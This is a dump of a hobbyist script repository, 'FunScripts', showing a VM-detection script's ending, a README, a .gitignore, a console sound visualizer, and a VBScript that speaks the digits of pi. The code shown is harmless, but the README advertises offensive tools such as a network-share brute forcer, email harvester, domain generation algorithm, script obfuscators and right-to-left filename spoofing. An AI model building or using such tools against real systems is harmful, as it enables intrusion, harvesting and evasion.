140 | Write-Host "Confidence: $([math]::Round(($TrueIndicators / $VirtualIndicators.Count) * 100))%" -ForegroundColor Yellow
141 | } else {
142 | Write-Host "This system appears to be Physical Hardware" -ForegroundColor Green
143 | }
144 |
145 | return $IsVirtual
146 | }
147 |
148 | # Run the detection
149 | Test-IsVirtualMachine
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # FunScripts
2 |
3 | A collection of fun and interesting scripts I developed. Script toolbox. VBScript. PowerShell. Batch.
4 |
5 |
6 | Report bug
7 | ·
8 | Request feature
9 |
10 |
11 | ## Disclaimer
12 |
13 | THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE OF THIS SOFTWARE IS THE COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM.
14 |
15 | ## Getting Started
16 |
17 | 1. Download
18 | ```
19 | git clone https://github.com/KylerCondran/FunScripts.git
20 | ```
21 | 2. Have Fun
22 |
23 | ## Features
24 |
25 | | Script
| Fun
| Details
|
26 | |---------------------------------|----------|-----------------------------|
27 | | ADEnumerator.ps1 | ✔ | Enumerate AD Accounts |
28 | | BadPath.vbs | ✔ | Illegal Folder Structure |
29 | | Beep.ps1 | ✔ | Beeping Beeper |
30 | | BSOD.vbs | ✔ | Blue Screen of Death |
31 | | Caesar Cipher.vbs | ✔ | Caesar Cipher |
32 | | Certkrypt.De.ps1 | ✔ | File Decryptor |
33 | | Certkrypt.En.ps1 | ✔ | File Encryptor |
34 | | ConsoleVisualizer.ps1 | ✔ | Console Visualizer |
35 | | DetectVM.ps1 | ✔ | Detect Virtual Machine |
36 | | DividendCounter.ps1 | ✔ | Dividend Payment Counter |
37 | | Domain Generation Algorithm.ps1 | ✔ | Domain Generation Algorithm |
38 | | DriveInformation.vbs | ✔ | Display Drive Info |
39 | | EmailRaider.vbs | ✔ | Find Emails Recursively |
40 | | ExportCert.ps1 | ✔ | Export A Certificate |
41 | | FingerPrinter.ps1 | ✔ | FingerPrint A Computer |
42 | | GetCertByName.ps1 | ✔ | Get Certificate By Name |
43 | | InstallCert.ps1 | ✔ | Install Certificates |
44 | | ListDeDuper.vbs | ✔ | DeDupe Textfiles |
45 | | LogArchiver.bat | ✔ | Archive Logs |
46 | | Metamorphic Code.vbs | ✔ | Metamorphic Code Example |
47 | | NetworkDriveBruteForcer.vbs | ✔ | Brute Force Network Shares |
48 | | Pi-10000-Digits.vbs | ✔ | Speak Pi |
49 | | PingScanner.bat | ✔ | Ping Scanner |
50 | | PowerShellCommandEncoder.ps1 | ✔ | Encode Powershell Commands |
51 | | PowerShellToExe.ps1 | ✔ | Deploy Executables |
52 | | ProgrammaticTor.ps1 | ✔ | Use Tor To Download Files |
53 | | RightToLeft.vbs | ✔ | Right-To-Left Override |
54 | | SendNotification.ps1 | ✔ | Send Windows Toast Notifications |
55 | | StockChecker.ps1 | ✔ | Check Stock Prices Via API |
56 | | URLFileDownloader.vbs | ✔ | Download List Of File URLs |
57 | | VBSObfuscator.vbs | ✔ | Obfuscate VBS Scripts |
58 | | VBSToExe.vbs | ✔ | Deploy Executables |
59 | | YellowPagesScraper.vbs | ✔ | Business Info Webscraper |
60 | | Zelda.ps1 | ✔ | Play Zelda Theme |
61 |
62 | ## Contributing
63 | See our contributing guide at [CONTRIBUTING.md](../master/CONTRIBUTING.md).
64 |
65 | ## Copyright and License
66 | >The [MIT License](https://github.com/KylerCondran/FunScripts/blob/master/LICENSE)
67 | >
68 | >Copyright (c) 2025 Kyler Condran
69 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
202 | !**/[Pp]ackages/build/
203 | # Uncomment if necessary however generally it will be regenerated when needed
204 | #!**/[Pp]ackages/repositories.config
205 | # NuGet v3's project.json files produces more ignorable files
206 | *.nuget.props
207 | *.nuget.targets
208 |
209 | # Microsoft Azure Build Output
210 | csx/
211 | *.build.csdef
212 |
213 | # Microsoft Azure Emulator
214 | ecf/
215 | rcf/
216 |
217 | # Windows Store app package directories and files
218 | AppPackages/
219 | BundleArtifacts/
220 | Package.StoreAssociation.xml
221 | _pkginfo.txt
222 | *.appx
223 | *.appxbundle
224 | *.appxupload
225 |
226 | # Visual Studio cache files
227 | # files ending in .cache can be ignored
228 | *.[Cc]ache
229 | # but keep track of directories ending in .cache
230 | !?*.[Cc]ache/
231 |
232 | # Others
233 | ClientBin/
234 | ~$*
235 | *~
236 | *.dbmdl
237 | *.dbproj.schemaview
238 | *.jfm
239 | *.pfx
240 | *.publishsettings
241 | orleans.codegen.cs
242 |
243 | # Including strong name files can present a security risk
244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
245 | #*.snk
246 |
247 | # Since there are multiple workflows, uncomment next line to ignore bower_components
248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
249 | #bower_components/
250 |
251 | # RIA/Silverlight projects
252 | Generated_Code/
253 |
254 | # Backup & report files from converting an old project file
255 | # to a newer Visual Studio version. Backup files are not needed,
256 | # because we have git ;-)
257 | _UpgradeReport_Files/
258 | Backup*/
259 | UpgradeLog*.XML
260 | UpgradeLog*.htm
261 | ServiceFabricBackup/
262 | *.rptproj.bak
263 |
264 | # SQL Server files
265 | *.mdf
266 | *.ldf
267 | *.ndf
268 |
269 | # Business Intelligence projects
270 | *.rdl.data
271 | *.bim.layout
272 | *.bim_*.settings
273 | *.rptproj.rsuser
274 | *- [Bb]ackup.rdl
275 | *- [Bb]ackup ([0-9]).rdl
276 | *- [Bb]ackup ([0-9][0-9]).rdl
277 |
278 | # Microsoft Fakes
279 | FakesAssemblies/
280 |
281 | # GhostDoc plugin setting file
282 | *.GhostDoc.xml
283 |
284 | # Node.js Tools for Visual Studio
285 | .ntvs_analysis.dat
286 | node_modules/
287 |
288 | # Visual Studio 6 build log
289 | *.plg
290 |
291 | # Visual Studio 6 workspace options file
292 | *.opt
293 |
294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
295 | *.vbw
296 |
297 | # Visual Studio LightSwitch build output
298 | **/*.HTMLClient/GeneratedArtifacts
299 | **/*.DesktopClient/GeneratedArtifacts
300 | **/*.DesktopClient/ModelManifest.xml
301 | **/*.Server/GeneratedArtifacts
302 | **/*.Server/ModelManifest.xml
303 | _Pvt_Extensions
304 |
305 | # Paket dependency manager
306 | .paket/paket.exe
307 | paket-files/
308 |
309 | # FAKE - F# Make
310 | .fake/
311 |
312 | # CodeRush personal settings
313 | .cr/personal
314 |
315 | # Python Tools for Visual Studio (PTVS)
316 | __pycache__/
317 | *.pyc
318 |
319 | # Cake - Uncomment if you are using it
320 | # tools/**
321 | # !tools/packages.config
322 |
323 | # Tabs Studio
324 | *.tss
325 |
326 | # Telerik's JustMock configuration file
327 | *.jmconfig
328 |
329 | # BizTalk build output
330 | *.btp.cs
331 | *.btm.cs
332 | *.odx.cs
333 | *.xsd.cs
334 |
335 | # OpenCover UI analysis results
336 | OpenCover/
337 |
338 | # Azure Stream Analytics local run output
339 | ASALocalRun/
340 |
341 | # MSBuild Binary and Structured Log
342 | *.binlog
343 |
344 | # NVidia Nsight GPU debugger configuration file
345 | *.nvuser
346 |
347 | # MFractors (Xamarin productivity tool) working folder
348 | .mfractor/
349 |
350 | # Local History for Visual Studio
351 | .localhistory/
352 |
353 | # BeatPulse healthcheck temp database
354 | healthchecksdb
355 |
356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
357 | MigrationBackup/
358 |
359 | # Ionide (cross platform F# VS Code tools) working folder
360 | .ionide/
361 |
362 | # Fody - auto-generated XML schema
363 | FodyWeavers.xsd
--------------------------------------------------------------------------------
/FunScripts/ConsoleVisualizer.ps1:
--------------------------------------------------------------------------------
1 | # ConsoleVisualizer.ps1
2 | # A fun script that creates a real-time sound visualizer in the console
3 | # Combines audio generation with visual patterns, AI generated
4 |
5 | # Constants for visual patterns
6 | $PATTERNS = @(
7 | '*', '#', '=', '-', '+', '|', '/', '\\', 'o', 'O', 'x', 'X'
8 | )
9 |
10 | function Get-RandomPattern {
11 | return $PATTERNS | Get-Random
12 | }
13 |
14 | function Get-ColoredText {
15 | param([string]$text, [int]$freq)
16 |
17 | # Map frequency ranges to colors
18 | $color = switch ($freq) {
19 | { $_ -lt 300 } { 'DarkBlue' }
20 | { $_ -lt 500 } { 'Blue' }
21 | { $_ -lt 700 } { 'Cyan' }
22 | { $_ -lt 900 } { 'Green' }
23 | { $_ -lt 1100 } { 'Yellow' }
24 | { $_ -lt 1300 } { 'Red' }
25 | default { 'Magenta' }
26 | }
27 |
28 | $pattern = Get-RandomPattern
29 | return @{
30 | Text = $text * ([Math]::Max(1, [Math]::Min(20, $freq / 100)))
31 | Color = $color
32 | }
33 | }
34 |
35 | function Show-SoundVisual {
36 | param([int]$freq, [int]$duration, [bool]$reverse = $false, [bool]$glitch = $false)
37 | $width = $host.UI.RawUI.WindowSize.Width
38 | $height = [int]$host.UI.RawUI.WindowSize.Height
39 | $heightMinus2 = $height - 2
40 | $visual = Get-ColoredText -freq $freq -text (Get-RandomPattern)
41 | $spaces = " " * ([Math]::Floor($freq / 100) % ($width / 2))
42 | $matrixChars = @("0","1","|","I","l","!","$","@","#","%","^","&","*","+","-","=","~","A","B","C","D","E","F","G","H","J","K","L","M","N","P","Q","R","S","T","U","V","W","X","Y","Z")
43 | $allColors = @("Black","DarkBlue","DarkGreen","DarkCyan","DarkRed","DarkMagenta","DarkYellow","Gray","DarkGray","Blue","Green","Cyan","Red","Magenta","Yellow","White")
44 | $emojis = @(":)", ":D", ";)", ":P", ":-O", ":-|", ":-/", ":-\\", "<3", "^_^", "O_O", "T_T", "¯\_(ツ)_/¯")
45 | $invertColors = $false
46 | if ((Get-Random -Minimum 0 -Maximum 30) -eq 0) { $invertColors = $true }
47 | if ($invertColors) {
48 | $allColors = $allColors[($allColors.Length-1)..0]
49 | }
50 | # 2. Occasionally print a random PowerShell command at the top
51 | if ((Get-Random -Minimum 0 -Maximum 40) -eq 0) {
52 | $cmds = @('Get-Process','Get-Random','ls','Get-Date','Write-Host "Hello!"','Get-ChildItem','Get-Help','Clear-Host','Start-Sleep 1','Get-Location')
53 | $host.UI.RawUI.CursorPosition = @{X=0;Y=0}
54 | Write-Host ($cmds | Get-Random) -ForegroundColor ($allColors | Get-Random)
55 | }
56 | # 4. Occasionally clear only half the screen
57 | if ((Get-Random -Minimum 0 -Maximum 50) -eq 0) {
58 | for ($y=0; $y -lt [math]::Floor($height/2); $y++) {
59 | $host.UI.RawUI.CursorPosition = @{X=0;Y=$y}
60 | Write-Host (' ' * $width) -NoNewline
61 | }
62 | }
63 | if ($glitch -or $true) {
64 | # Matrix waterfall: vertical columns, mostly green, intentional chaos, more color variance
65 | for ($col = 0; $col -lt $width; $col += Get-Random -Minimum 1 -Maximum 6) {
66 | $dropLen = Get-Random -Minimum 2 -Maximum ([Math]::Max(4, $heightMinus2))
67 | $startRow = Get-Random -Minimum 0 -Maximum $heightMinus2
68 | for ($row = $startRow; $row -lt [Math]::Min($height, $startRow+$dropLen); $row++) {
69 | # 5. Occasionally print a random emoji
70 | if ((Get-Random -Minimum 0 -Maximum 100) -eq 0) {
71 | $char = $emojis | Get-Random
72 | } else {
73 | $char = $matrixChars | Get-Random
74 | }
75 | $color = $allColors | Get-Random
76 | $bg = $allColors | Get-Random
77 | try {
78 | $host.UI.RawUI.CursorPosition = @{X=$col;Y=$row}
79 | } catch {}
80 | Write-Host $char -ForegroundColor $color -BackgroundColor $bg -NoNewline
81 | }
82 | }
83 | # --- Horizontal Waterfall Effect ---
84 | if ((Get-Random -Minimum 0 -Maximum 2) -eq 0) {
85 | for ($row = 0; $row -lt $height; $row += Get-Random -Minimum 1 -Maximum 6) {
86 | $dropLen = Get-Random -Minimum 2 -Maximum ([Math]::Max(4, $width-2))
87 | $startCol = Get-Random -Minimum 0 -Maximum ($width-2)
88 | for ($col = $startCol; $col -lt [Math]::Min($width, $startCol+$dropLen); $col++) {
89 | if ((Get-Random -Minimum 0 -Maximum 100) -eq 0) {
90 | $char = $emojis | Get-Random
91 | } else {
92 | $char = $matrixChars | Get-Random
93 | }
94 | $color = $allColors | Get-Random
95 | $bg = $allColors | Get-Random
96 | try {
97 | $host.UI.RawUI.CursorPosition = @{X=$col;Y=$row}
98 | } catch {}
99 | Write-Host $char -ForegroundColor $color -BackgroundColor $bg -NoNewline
100 | }
101 | }
102 | }
103 | # Intentionally overlap lines and leave cursor in random place
104 | $host.UI.RawUI.CursorPosition = @{X=(Get-Random -Minimum 0 -Maximum $width);Y=(Get-Random -Minimum 0 -Maximum $height)}
105 | # Add some random gibberish at the bottom
106 | Write-Host ""; for ($i=0;$i -lt ($width/2);$i++) { Write-Host ($matrixChars | Get-Random) -ForegroundColor ($allColors | Get-Random) -NoNewline }; Write-Host ""
107 | } else {
108 | Write-Host "`r$spaces$($visual.Text)" -ForegroundColor ($allColors | Get-Random) -NoNewline
109 | }
110 | # 3. Occasionally play a long beep
111 | if ((Get-Random -Minimum 0 -Maximum 6) -eq 0) {
112 | [console]::Beep($freq, 500)
113 | } else {
114 | [console]::Beep($freq, $duration)
115 | }
116 | Start-Sleep -Milliseconds 1
117 | }
118 |
119 | function Show-AsciiArt {
120 | $arts = @(
121 | @'
122 | (o_o)
123 | <( )>
124 | / \
125 | '@,
126 | @'
127 | /\_/\
128 | ( o.o )
129 | > ^ <
130 | '@,
131 | @'
132 | |\---/|
133 | | o_o |
134 | \_^_/
135 | '@,
136 | @'
137 | .-"""-.
138 | / .===. \
139 | \/ 6 6 \/
140 | ( \___/ )
141 | ___ooo__ooo___
142 | '@,
143 | @'
144 | _____
145 | / \
146 | | () () |
147 | \ ^ /
148 | ||||#
149 | ||||#
150 | '@,
151 | @'
152 | __
153 | / \
154 | | |
155 | | |
156 | |____|
157 | '@,
158 | @'
159 | .-.
160 | (o o)
161 | |=|
162 | __|__
163 | '@,
164 | @'
165 | ( ) ( )
166 | ( .. )
167 | (____)
168 | '@,
169 | @'
170 | _____
171 | / \
172 | | 0 0 |
173 | \ ^ /
174 | ||||#
175 | ||||#
176 | '@,
177 | @'
178 | (\_/)
179 | ( •_•)
180 | / >🍪
181 | '@
182 | )
183 | Write-Host ("`n" + ($arts | Get-Random)) -ForegroundColor ("Cyan","Yellow","Magenta","Green" | Get-Random)
184 | Start-Sleep -Milliseconds 400
185 | }
186 |
187 | function Play-Chord {
188 | param([int[]]$freqs, [int]$duration)
189 | foreach ($f in $freqs) {
190 | $clamped = [Math]::Max(37, [Math]::Min(32767, $f))
191 | [console]::Beep($clamped, [Math]::Max(10, [Math]::Min($duration, 40)))
192 | }
193 | }
194 |
195 | function Start-Visualizer {
196 | Clear-Host
197 | Write-Host "Console Sound Visualizer: WILD MODE"
198 | Write-Host "Press Ctrl+C to exit`n"
199 | $scale = @(262, 294, 330, 349, 392, 440, 494, 523, 587, 659, 698, 784, 880, 988, 1047)
200 | $frame = 0
201 | try {
202 | while ($true) {
203 | foreach ($baseFreq in $scale) {
204 | $randomOffset = Get-Random -Minimum -60 -Maximum 60
205 | $freq = $baseFreq + $randomOffset
206 | $freq = [Math]::Max(37, [Math]::Min(32767, $freq)) # Clamp to valid beep range
207 | $duration = Get-Random -Minimum 5 -Maximum 20
208 | $reverse = $false
209 | $glitch = $false
210 | # Every 20 frames, show ASCII art
211 | if ($frame % 20 -eq 0 -and $frame -ne 0) {
212 | Show-AsciiArt
213 | }
214 | # Occasionally invert direction
215 | if ((Get-Random -Minimum 0 -Maximum 12) -eq 0) {
216 | $reverse = $true
217 | }
218 | # Occasionally glitch
219 | if ((Get-Random -Minimum 0 -Maximum 18) -eq 0) {
220 | $glitch = $true
221 | }
222 | # Occasionally play a chord
223 | if ((Get-Random -Minimum 0 -Maximum 25) -eq 0) {
224 | $chord = @($freq, $freq + 37, $freq + 7)
225 | Play-Chord -freqs $chord -duration $duration
226 | } else {
227 | Show-SoundVisual -freq $freq -duration $duration -reverse:$reverse -glitch:$glitch
228 | }
229 | $frame++
230 | }
231 | if ((Get-Random -Minimum 0 -Maximum 2) -eq 0) {
232 | [array]::Reverse($scale)
233 | }
234 | }
235 | }
236 | catch {
237 | Write-Host $error
238 | }
239 | finally {
240 | Write-Host ""
241 | }
242 | }
243 |
244 | # Run the visualizer
245 | Start-Visualizer
--------------------------------------------------------------------------------
/FunScripts/Pi-10000-Digits.vbs:
--------------------------------------------------------------------------------
1 | 'This script uses the Microsoft Speech API (SAPI) to say the first 10,000 digits of pi
2 | '...incase you ever needed such a thing...
3 | Set objVoice = CreateObject("SAPI.SpVoice")
4 | Dim Pi
5 | Pi = "3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989380952572010654858632788659361533818279682303019520353018529689957736225994138912497217752834791315155748572424541506959508295331168617278558890750983817546374649393192550604009277016711390098488240128583616035637076601047101819429555961989467678374494482553797747268471040475346462080466842590694912933136770289891521047521620569660240580381501935112533824300355876402474964732639141992726042699227967823547816360093417216412199245863150302861829745557067498385054945885869269956909272107975093029553211653449872027559602364806654991198818347977535663698074265425278625518184175746728909777727938000816470600161452491921732172147723501414419735685481613611573525521334757418494684385233239073941433345477624168625189835694855620992192221842725502542568876717904946016534668049886272327917860857843838279679766814541009538837863609506800642251252051173929848960841284886269456042419652850222106611863067442786220391949450471237137869609563643719172874677646575739624138908658326459958133904780275900994657640789512694683983525957098258226205224894077267194782684826014769909026401363944374553050682034962524517493996514314298091906592509372216964615157098583874105978859597729754989301617539284681382686838689427741559918559252459539594310499725246808459872736446958486538367362226260991246080512438843904512441365497627807977156914359977001296160894416948685558484063534220722258284886481584560285060168427394522674676788952521385225499546667278239864565961163548862305774564980355936345681743241125150760694794510965960940252288797108931456691368672287489405601015033086179286809208747609178249385890097149096759852613655497818931297848216829989487226588048575640142704775551323796414515237462343645428584447952658678210511413547357395231134271661021359695362314429524849371871101457654035902799344037420073105785390621983874478084784896833214457138687519435064302184531910484810053706146806749192781911979399520614196634287544406437451237181921799983910159195618146751426912397489409071864942319615679452080951465502252316038819301420937621378559566389377870830390697920773467221825625996615014215030680384477345492026054146659252014974428507325186660021324340881907104863317346496514539057962685610055081066587969981635747363840525714591028970641401109712062804390397595156771577004203378699360072305587631763594218731251471205329281918261861258673215791984148488291644706095752706957220917567116722910981690915280173506712748583222871835209353965725121083579151369882091444210067510334671103141267111369908658516398315019701651511685171437657618351556508849099898599823873455283316355076479185358932261854896321329330898570642046752590709154814165498594616371802709819943099244889575712828905923233260972997120844335732654893823911932597463667305836041428138830320382490375898524374417029132765618093773444030707469211201913020330380197621101100449293215160842444859637669838952286847831235526582131449576857262433441893039686426243410773226978028073189154411010446823252716201052652272111660396665573092547110557853763466820653109896526918620564769312570586356620185581007293606598764861179104533488503461136576867532494416680396265797877185560845529654126654085306143444318586769751456614068007002378776591344017127494704205622305389945613140711270004078547332699390814546646458807972708266830634328587856983052358089330657574067954571637752542021149557615814002501262285941302164715509792592309907965473761255176567513575178296664547791745011299614890304639947132962107340437518957359614589019389713111790429782856475032031986915140287080859904801094121472213179476477726224142548545403321571853061422881375850430633217518297986622371721591607716692547487389866549494501146540628433663937900397692656721463853067360965712091807638327166416274888800786925602902284721040317211860820419000422966171196377921337575114959501566049631862947265473642523081770367515906735023507283540567040386743513622224771589150495309844489333096340878076932599397805419341447377441842631298608099888687413260472156951623965864573021631598193195167353812974167729478672422924654366800980676928238280689964004824354037014163149658979409243237896907069779422362508221688957383798623001593776471651228935786015881617557829735233446042815126272037343146531977774160319906655418763979293344195215413418994854447345673831624993419131814809277771038638773431772075456545322077709212019051660962804909263601975988281613323166636528619326686336062735676303544776280350450777235547105859548702790814356240145171806246436267945612753181340783303362542327839449753824372058353114771199260638133467768796959703098339130771098704085913374641442822772634659470474587847787201927715280731767907707157213444730605700733492436931138350493163128404251219256517980694113528013147013047816437885185290928545201165839341965621349143415956258658655705526904965209858033850722426482939728584783163057777560688876446248246857926039535277348030480290058760758251047470916439613626760449256274204208320856611906254543372131535958450687724602901618766795240616342522577195429162991930645537799140373404328752628889639958794757291746426357455254079091451357111369410911939325191076020825202618798531887705842972591677813149699009019211697173727847684726860849003377024242916513005005168323364350389517029893922334517220138128069650117844087451960121228599371623130171144484640903890644954440061986907548516026327505298349187407866808818338510228334508504860825039302133219715518430635455007668282949304137765527939751754613953984683393638304746119966538581538420568533862186725233402830871123282789212507712629463229563989898935821167456270102183564622013496715188190973038119800497340723961036854066431939509790190699639552453005450580685501956730229219139339185680344903982059551002263535361920419947455385938102343955449597783779023742161727111723643435439478221818528624085140066604433258885698670543154706965747458550332323342107301545940516553790686627333799585115625784322988273723198987571415957811196358330059408730681216028764962867446047746491599505497374256269010490377819868359381465741268049256487985561453723478673303904688383436346553794986419270563872931748723320837601123029911367938627089438799362016295154133714248928307220126901475466847653576164773794675200490757155527819653621323926406160136358155907422020203187277605277219005561484255518792530343513984425322341576233610642506390497500865627109535919465897514131034822769306247435363256916078154781811528436679570611086153315044521274739245449454236828860613408414863776700961207151249140430272538607648236341433462351897576645216413767969031495019108575984423919862916421939949072362346468441173940326591840443780513338945257423995082965912285085558215725031071257012668302402929525220118726767562204154205161841634847565169998116141010029960783869092916030288400269104140792886215078424516709087000699282120660418371806535567252532567532861291042487761825829765157959847035622262934860034158722980534989650226291748788202734209222245339856264766914905562842503912757710284027998066365825488926488025456610172967026640765590429099456815065265305371829412703369313785178609040708667114965583434347693385781711386455873678123014587687126603489139095620099393610310291616152881384379099042317473363948045759314931405297634757481193567091101377517210080315590248530906692037671922033229094334676851422144773793937517034436619910403375111735471918550464490263655128162288244625759163330391072253837421821408835086573917715096828874782656995995744906617583441375223970968340800535598491754173818839994469748676265516582765848358845314277568790029095170283529716344562129640435231176006651012412006597558512761785838292041974844236080071930457618932349229279650198751872127267507981255470958904556357921221033346697499235630254947802490114195212382815309114079073860251522742995818072471625916685451333123948049470791191532673430282441860414263639548000448002670496248201792896476697583183271314251702969234889627668440323260927524960357996469256504936818360900323809293459588970695365349406034021665443755890045632882250545255640564482465151875471196218443965825337543885690941130315095261793780029741207665147939425902989695946995565761218656196733786236256125216320862869222103274889218654364802296780705765615144632046927906821207388377814233562823608963208068222468012248261177185896381409183903673672220888321513755600372798394004152970028783076670944474560134556417254370906979396122571429894671543578468788614445812314593571984922528471605049221242470141214780573455105008019086996033027634787081081754501193071412233908663938339529425786905076431006383519834389341596131854347546495569781038293097164651438407007073604112373599843452251610507027056235266012764848308407611830130527932054274628654036036745328651057065874882256981579367897669742205750596834408697350201410206723585020072452256326513410559240190274216248439140359989535394590944070469120914093870012645600162374288021092764579310657922955249887275846101264836999892256959688159205600101655256375679"
6 | objVoice.Speak Pi
--------------------------------------------------------------------------------